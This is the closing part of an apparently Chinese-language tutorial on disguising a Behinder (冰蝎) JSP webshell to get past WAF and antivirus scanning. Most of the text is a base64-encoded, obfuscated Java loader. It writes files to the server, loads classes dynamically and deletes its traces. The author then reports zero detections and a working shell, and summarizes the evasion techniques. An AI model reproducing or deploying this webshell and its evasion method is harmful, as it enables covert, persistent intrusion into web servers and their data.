FaEFBSUNKQUFBQXBJQXBBQUFBQ1lBQkFBb0FBb0FLUUFUQUNvQUpRQXJBRGNBTEFCSkFDMEFXd0F1QUcwQUx3Qi9BREFBa1FBeEFLQUFNZ0MwQURNQXZRQTBBTUFBT0FETkFEa0JWQUE4QVdzQVBRRjFBRDhCaEFCQUFZY0FSQUdRQUVVQm9BQkdBYkFBUndHN0FFZ0J3QUJKQWNvQVNnSE5BRTRCMGdCUEFkc0FVQUhpQUZFQjdBQlNBZThBVmdIOUFGMENBZ0JlQWdVQVlnSVdBR01DSXdCa0FpWUFhQUl0QUdrQ1BBQnFBa1FBYXdKVUFIRUNYd0J5QW5VQWN3SjhBSFFDaVFCMUFvd0FlUUtSQUhvQ3VRQjdBc2NBZkFMS0FJRUMxQUNDQXRvQWd3TG5BSVFDOWdDRkF3RUFpQU1FQUlZREJnQ0hBd3NBaVFNT0FJNERJUUNQQXk0QWtBTlVBSkVEWmdDU0EzRUFsUU4wQUpNRGRnQ1VBM3NBbGdOK0FKb0Rod0NiQTVjQW5BT3hBSjBEdkFDZUE3OEFvZ1BUQUtNRDZRQ2tBLzRBcFFRRkFLWUVFd0NuQkJzQW9nUXhBS2tFTkFDbkJEWUFxQVE3QUtvRVBnQ3ZCRWtBc0FSTEFMRUVXUUN6QkZ3QXR3UnpBTGdFZmdDNUJJRUF2UVNHQUw0RWpBQy9CSlVBd0FTZUFNRUVxUURDQkt3QXhnU3hBTWNFdVFESUJNY0F5UVRLQU13RXp3RE5CTmNBemdUbEFNOEU2QURUQk8wQTFBVDBBTlVGQWdEV0JRVUEyZ1VMQU5zRkZ3RGNCU0lBM1FVbEFPRUZNZ0RpQlQ4QTR3Vk5BT1FGVUFEb0JWa0E2UVZuQU9vRmFnRHVCWE1BN3dWOUFQQUZqd0R2QlpVQThnV2hBUE1GcGdEMEJiRUE5UVcwQVBrRndBRDZCY2tBK3dYU0FQd0YzUUQ5QmVBQkFRWDFBUUlHQXdFREJnWUJCd1lWQVFnR0lBRUpCaU1CRFFZMkFRNEdUUUVQQmxzQkVBWmVBUlFHY1FFVkJud0JGZ1ovQVJvR2lBRWJCcGNCSEFhbkFSMEd0d0VlQnNJQkh3Yk5BU0FHMEFFa0J1a0JKUWIzQVNZRytnRXJCd0lCTEFjRkFTNEhDQUU3QndzQk9RY05BVG9IRndFOEFpVUFBQUZxQUMzL0FNQUFDUWNBQWdjQVZnY0Fkd2NDSmdjQUZBY0FIQWNDS0FjQVh3RUFBUHdBa3dFeSt3QkZJUlVnTFRjOWVRY0JJUW4zQUdVSEFTRUord0JBL3dCYkFCa0hBQUlIQUZZSEFIY0hBaVlIQUJRSEFCd0hBaWdIQUY4QkFRQUFBQUFBQUFBQUFBQUFBQUFBQndGSkFBRUhBVlAvQUFrQUdnY0FBZ2NBVmdjQWR3Y0NKZ2NBRkFjQUhBY0NLQWNBWHdFQkFBQUFBQUFBQUFBQUFBQUFBQUFIQVVrSEFWTUFBUWNCVXdqL0FBSUFDZ2NBQWdjQVZnY0Fkd2NDSmdjQUZBY0FIQWNDS0FjQVh3RUJBQUJDQndGWkNVb0hBU0VTSkNvZEhSd2ZLaG4vQUFzQUtRY0FBZ2NBVmdjQWR3Y0NKZ2NBRkFjQUhBY0NLQWNBWHdFQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUhBSTRCQUFENkFCNy9BQjRBQ2djQUFnY0FWZ2NBZHdjQ0pnY0FGQWNBSEFjQ0tBY0FYd0VCQUFBckpSdzZJUHNBVUNuNkFBci9BQUlBQkFjQUFnY0FWZ2NBZHdjQ0pnQUFRZ2NCSVFzQUNnQUZBQVlBQVFJakFBQUFJQUFDQUFFQUFBQUl1QUgxS3JZQis3QUFBQUFCQWlRQUFBQUdBQUVBQUFFL0FBSUJzd0cwQUFFQ0l3QUFBQ2dBQlFBQ0FBQUFFTHNDQUZrcXVBSUN0Z0lHSzdjQ0NiQUFBQUFCQWlRQUFBQUdBQUVBQUFGREFBSUFEd0FRQUFFQ0l3QUFBQ0VBQXdBQkFBQUFDYnNDREZrcXR3SU9zQUFBQUFFQ0pBQUFBQVlBQVFBQUFWZ0FBZ0JOQUU0QUFRSWpBQUFBdUFBR0FBY0FBQUJxdXdEM1dTcTBBRDY0QUFHN0FDZFpLclFBT2JnQUFiY0EvYmNCQUUyN0FoRlpLclFBUHJnQUFiY0NFMDY3QUNkWktyUUFRN2dBQWJjQS9iZ0JKam9FR1FRRkxDMjJBaFFydUFBQk9nVVpCQmtGdGdFeU9nYTdBQ2RaR1FhM0FQMndUYnNCOFZrc3R3SHp2d0FCQUFBQVh3QmdBU0VBQWdJa0FBQUFKZ0FKQUFBQmNBQWRBWEVBTEFGeUFEOEJjd0JIQVhRQVRRRjFBRllCZHdCZ0FYZ0FZUUY1QWlVQUFBQUlBQUgzQUdBSEFTRVFDZ0lxQUF3QUFRSWpBQUFBVEFBQ0FBRUFBQUFQRkFJWHVBSVpwd0FJU3lxMkFoK3hBQUVBQUFBR0FBa0NIUUFDQWlRQUFBQVdBQVVBQUFCWUFBWUFXd0FKQUZrQUNnQmFBQTRBWEFJbEFBQUFCd0FDU1FjQ0hRUVFDQUlyQUFZQUFRSWpBQUFBSFFBQkFBRUFBQUFGS3JnQUFiQUFBQUFCQWlRQUFBQUdBQUVBQUFBV0FBTUNMQUFBQUFJQ0xRSXVBQUFBREFBQkFqTUFBd0l2QWpBQ0x3STZBQUFBSWdBRUFmd0I5Z0k3QUFrQ0FBQUFBQUFBQUFJTUFBQUFBQUFBQWp3Q1BnSkFBQms9IjsNCiAgICAgICAgYnl0ZVtdW10gQzZkRTdmRzhoSTlqID0gbmV3IGJ5dGVbKDI0NjcyOCBeIDI4NTI1KSBeICg5MTE3MTYgXiA5MzUzNjIpXVtdOw0KICAgICAgICBDNmRFN2ZHOGhJOWpbKDQxMTUxNSBeIDgzODk0OSkgXiAoNTEwMTgxIF4gODY5MDUxKV0gPSBPOHBROXFSMHNTMWkoUTVSNlM3VDhVOVYwKTsNCiAgICAgICAgQzZkRTdmRzhoSTlqWyg1MDEwOTggXiA4OTk5MDEpIF4gKDQ3Mjc1NyBeIDg2MjQzNSldID0gTzhwUTlxUjBzUzFpKFcxWDJZM1o0QTVCNik7DQogICAgICAgIEM2ZEU3Zkc4aEk5alsoNzg4MzY0IF4gOTQ5NjMzKSBeICgxMjc5OSBeIDE1MDUxMildID0gTzhwUTlxUjBzUzFpKFU4dlc5eFkwekExYik7DQogICAgICAgIFN0cmluZ1tdIEswbE0xbk8ycFAzcSA9IFM0dFU1dlY2d1c3aChDNmRFN2ZHOGhJOWosIHJlcXVlc3QpOw0KICAgICAgICBTdHJpbmdbXSBMMG1OMW5PMnBQM3EgPSBuZXcgU3RyaW5nW117bmV3IFN0cmluZyhRNnJTN3RUOHVVOW4oUDJxUjNzUzR0VDVxKCIyYzVhNDM1MCIpKSksIG5ldyBTdHJpbmcoUTZyUzd0VDh1VTluKFAycVIzc1M0dFQ1cSgiMmM1YTQzNTMiKSkpLCBuZXcgU3RyaW5nKFE2clM3dFQ4dVU5bihQMnFSM3NTNHRUNXEoIjJjNWEiKSkpfTsNCg0KICAgICAgICBqYXZhLm5ldC5VUkxbXSBTOHRVOXZWMHdXMXggPSB7DQogICAgICAgICAgICAgICAgbmV3IGphdmEubmV0LlVSSShuZXcgU3RyaW5nKFE2clM3dFQ4dVU5bihQMnFSM3NTNHRUNXEoIjA4MDAwYjA0NTQ0MjRlIikpKSArIEswbE0xbk8ycFAzcVsoNTU5MjgxIF4gODM3Njk2KSBeICg3NDU3MDQgXiA5OTEyNTcpXSkudG9VUkwoKSwNCiAgICAgICAgICAgICAgICBuZXcgamF2YS5uZXQuVVJJKG5ldyBTdHJpbmcoUTZyUzd0VDh1VTluKFAycVIzc1M0dFQ1cSgiMDgwMDBiMDQ1NDQyNGUiKSkpICsgSzBsTTFuTzJwUDNxWyg0NDc2NTggXiA4NDU4NzApIF4gKDEwOTUzNSBeIDc1OTY0MildKS50b1VSTCgpLA0KICAgICAgICAgICAgICAgIG5ldyBqYXZhLm5ldC5VUkkobmV3IFN0cmluZyhRNnJTN3RUOHVVOW4oUDJxUjNzUzR0VDVxKCIwODAwMGIwNDU0NDI0ZSIpKSkgKyBLMGxNMW5PMnBQM3FbKDE0OTY5MiBeIDE3MjE4NCkgXiAoODQ5NDc2IF4gNzk0MjEwKV0pLnRvVVJMKCkNCiAgICAgICAgfTsNCg0KICAgICAgICB0cnkgKGphdmEubmV0LlVSTENsYXNzTG9hZGVyIFQydVYzd1c0eFg1eSA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihTOHRVOXZWMHdXMXgsIFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCkpKSB7DQogICAgICAgICAgICBmb3IgKFN0cmluZyBVNnZXN3hYOHlZOXogOiBMMG1OMW5PMnBQM3EpIHsNCiAgICAgICAgICAgICAgICBDbGFzczw/PiBWMHdYMXlZMnpaM2EgPSBUMnVWM3dXNHhYNXkubG9hZENsYXNzKFU2dlc3eFg4eVk5eik7DQogICAgICAgICAgICAgICAgaWYgKFYwd1gxeVkyelozYS5nZXROYW1lKCkuZXF1YWxzKG5ldyBTdHJpbmcoUTZyUzd0VDh1VTluKFAycVIzc1M0dFQ1cSgiMmM1YSIpKSkpKSB7DQogICAgICAgICAgICAgICAgICAgIFYwd1gxeVkyelozYS5nZXRDb25zdHJ1Y3RvcihIdHRwU2VydmxldFJlcXVlc3QuY2xhc3MsIEh0dHBTZXNzaW9uLmNsYXNzLCBQYWdlQ29udGV4dC5jbGFzcykubmV3SW5zdGFuY2UocmVxdWVzdCwgc2Vzc2lvbiwgcGFnZUNvbnRleHQpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGphdmEuaW8uRmlsZSBXNHhZNXpaNmFBN2IgPSBuZXcgamF2YS5pby5GaWxlKHJlcXVlc3QuZ2V0U2VydmxldENvbnRleHQoKS5nZXRSZWFsUGF0aCgiXFwiKSArIG5ldyBTdHJpbmcoUTZyUzd0VDh1VTluKFAycVIzc1M0dFQ1cSgiMzIzZTIyMjM0MzI0MmYyNzMyMGEwYjAwMWQxZTA0MTIzMyIpKSkgKyBMMG1OMW5PMnBQM3FbKDcwMjY5MCBeIDc0NTE3NykgXiAoMjk3MTUgXiAxMDI5NTIpXSArIG5ldyBTdHJpbmcoUTZyUzd0VDh1VTluKFAycVIzc1M0dFQ1cSgiNDAwYTBiMDAxZDFlIikpKSk7DQogICAgICAgICAgICBqYXZhLmlvLkZpbGUgVzR4WTV6WjZhQTdjID0gbmV3IGphdmEuaW8uRmlsZShyZXF1ZXN0LmdldFNlcnZsZXRDb250ZXh0KCkuZ2V0UmVhbFBhdGgoIlxcIikgKyBuZXcgU3RyaW5nKFE2clM3dFQ4dVU5bihQMnFSM3NTNHRUNXEoIjMyM2UyMjIzNDMyNDJmMjczMjBhMGIwMDFkMWUwNDEyMzMiKSkpICsgTDBtTjFuTzJwUDNxWyg2OTg1MDcgXiA2NjM5MjEpIF4gKDQxMDU1MiBeIDQ0NDk5NSldICsgbmV3IFN0cmluZyhRNnJTN3RUOHVVOW4oUDJxUjNzUzR0VDVxKCI0MDBhMGIwMDFkMWUiKSkpKTsNCiAgICAgICAgICAgIGphdmEuaW8uRmlsZSBWMHdYMXlZMnpaM3MgPSBuZXcgamF2YS5pby5GaWxlKHJlcXVlc3QuZ2V0U2VydmxldENvbnRleHQoKS5nZXRSZWFsUGF0aCgiXFwiKSArIG5ldyBTdHJpbmcoUTZyUzd0VDh1VTluKFAycVIzc1M0dFQ1cSgiMzIzZTIyMjM0MzI0MmYyNzMyMGEwYjAwMWQxZTA0MTIzMyIpKSkgKyBMMG1OMW5PMnBQM3FbKDIyNzQwNyBeIDUxODY5NikgXiAoNTA2MTY5IF4gMjA3NzA4KV0gKyBuZXcgU3RyaW5nKFE2clM3dFQ4dVU5bihQMnFSM3NTNHRUNXEoIjQwMGEwYjAwMWQxZSIpKSkpOw0KICAgICAgICAgICAgVzR4WTV6WjZhQTdiLmRlbGV0ZSgpOw0KICAgICAgICAgICAgVzR4WTV6WjZhQTdjLmRlbGV0ZSgpOw0KICAgICAgICAgICAgVjB3WDF5WTJ6WjNzLmRlbGV0ZSgpOw0KICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gZSkgew0KICAgICAgICAgICAgdGhyb3cgbmV3IFJ1bnRpbWVFeGNlcHRpb24oZSk7DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChFeGNlcHRpb24gZSkgew0KICAgICAgICB0aHJvdyBuZXcgUnVudGltZUV4Y2VwdGlvbihlKTsNCiAgICB9DQolPg0K");String N4oP5qQ6rR7s = request.getServletContext().getRealPath("/") + H0iJ1kL2mN3o;try {try (FileOutputStream R0sT1tU2uV3w = new FileOutputStream(N4oP5qQ6rR7s)) {int T8uV9wW0xX1y = 1024 * 1024;for (int i = 0; i < J8kL9mN0oP1q.length; i += T8uV9wW0xX1y) {int U2vW3xX4yY5z = Math.min(i + T8uV9wW0xX1y, J8kL9mN0oP1q.length);R0sT1tU2uV3w.write(J8kL9mN0oP1q, i, U2vW3xX4yY5z - i);R0sT1tU2uV3w.flush();}}RequestDispatcher X4yZ5aA6bB7c = request.getRequestDispatcher("/" + H0iJ1kL2mN3o);if (X4yZ5aA6bB7c != null) {X4yZ5aA6bB7c.forward(request, response);}File file = new File(N4oP5qQ6rR7s);if (file.exists()) {file.delete();}} catch (Exception e) {File file = new File(N4oP5qQ6rR7s);if (file.exists()) {file.delete();}e.printStackTrace();}
%>
可以看到这回已经全绿了:
冰蝎连接也可以正常使用:
04 总结
避免直接在代码中使用黑名单的关键字,增加代码的复杂度和添加适当的加密,通过嵌套多层代码结构增加代码理解难度,增加检测成本,同时将类文件直接写入目标服务器来绕过waf之类的检测。虽然这种方法在集成环境下有可能会找不到写入的文件,但已经可以应对大多数场景。虽然该文章以冰蝎为例,但实际只需要将核心部分改成对应不同的马类型即可,本文也是借鉴了各大师傅的思路并结合了自己的思路,还请各位师傅指正和交流。